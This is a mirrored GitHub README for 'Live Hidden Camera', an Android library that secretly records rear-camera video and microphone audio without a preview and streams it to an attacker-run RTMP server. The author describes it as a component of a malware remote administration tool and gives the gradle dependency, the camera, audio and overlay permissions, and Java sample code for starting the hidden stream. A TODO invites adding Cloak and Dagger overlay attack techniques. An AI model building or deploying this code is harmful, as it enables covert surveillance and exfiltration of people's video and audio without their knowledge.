Giter Site home page Giter Site logo

pwnztrunickname / livehiddencamera Goto Github PK

View Code? Open in Web Editor NEW

This project forked from mirsamantajbakhsh/livehiddencamera

0.0 0.0 0.0 5.46 MB

Live Hidden Camera is a library which record live video and audio from Android device without displaying a preview.

Home Page: https://mstajbakhsh.ir/android-spy-camera/

Java 100.00%

livehiddencamera's Introduction

Live Hidden Camera

Live Hidden Camera (LHC) is a library which record live video and audio from Android device without displaying a preview. Live Hidden Camera

Motivation

I'm working on a research based Android Malware and decided to create a multi function RAT (Remote Administration Tool). I was working on Live Streams which I've found some RTMP based open sources projects including:

Therefore, I've started searching. Finally, I could create Live Hidden Camera which only needs a CONTEXT for stream live video, by combining these two projects:

  1. https://github.com/begeekmyfriend/yasea
  2. https://github.com/kevalpatel2106/android-hidden-camera

How to use

I've created a library to make it more usable. The only requirement is to add the library to your project and pass the Rtmp URL to it.

Additionally you should care about:

  1. Your application should have the following permissions in Manifest.xml:
<uses-permission android:name="android.permission.INTERNET" />  
<uses-permission android:name="android.permission.CAMERA" />  
<uses-permission android:name="android.permission.RECORD_AUDIO" />  
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
  1. You should handle that the declared permissions are granted to your application

Adding library

The usage of the library is straight. Just add the following library to the gradle.build file of your project.

compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'

  • Update: In the previouls release, Main Activity with Launcher filter was in library, which made the application (that uses the library), had two icons. In this release, the filter is commented in Manifest.

Creating RTMP server

Before using the library, you should have deployed an Rtmp server. I've ued Ant Media Server. There is a nice guide on Ant Media Server installation in THIS LINK.

After starting the Ant Media Rtmp server, you should see something like this: Ant Media Server

Sample Code

After adding the library to your project, do the following steps:

  1. Create a class which implements: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener

  2. Create two fields (one for publish and one for preview):

    private SrsPublisher mPublisher;
    private SrsCameraView mCameraView;

  3. Implement a function for starting the Live Hidden Camera:

    private void initHiddenCam(String rtmpURL) {  
    HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {  
        @Override  
  public void onPermissionNotGrantedException(Exception ex) {  
            Log.d("HCL", "Ask user to grant permission.");  
            Log.e("HCL", ex.getMessage());  
        }  
    });  
  
    //start config  
  CameraConfig cameraConfig = new CameraConfig()  
            .getBuilder(MainActivity.this.getApplicationContext())  
            .setCameraFacing(CameraFacing.REAR_FACING_CAMERA)  
            .build();  
  
  
    mCameraView = l.initHiddenLayout(cameraConfig);  
  
    mPublisher = new SrsPublisher(mCameraView);  
    mPublisher.setEncodeHandler(new SrsEncodeHandler(this));  
    mPublisher.setRtmpHandler(new RtmpHandler(this));  
    mPublisher.setRecordHandler(new SrsRecordHandler(this));  
    mPublisher.setPreviewResolution(640, 360);  
    mPublisher.setOutputResolution(640, 360);  
    mPublisher.setVideoHDMode();  
    mPublisher.startPublish(rtmpURL);  
    mPublisher.startCamera();  
}

Problems

Green Screen

The main problem I currently facing, is the green screen. I've described the error in StackOverflow in https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video

If you have any suggestion about this problem, or any other idea, do not hesitate contacting me.

Constant View

Because of the overlay of the Live Hidden Camera, no other apps can be clicked. The clicks are only accepted by the LHC. Check TODO section.

TODO

There is a project called Cloak and Dagger which unraveled a very dangerous ability in Android. Any contribution in using the Cloack and Dagger in LHC is welcomed.

Check the Cloak and Dagger here:

  1. http://cloak-and-dagger.org
  2. https://medium.com/@targetpractice/cloak-and-dagger-malware-techniques-demystified-c4d8a035b94e

Donate

You may donate this project using my BitCoin address at:

BitCoin:

1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS

Contact

You can reach me from my website: https://mstajbakhsh.ir/

livehiddencamera's People

Contributors

mirsamantajbakhsh avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.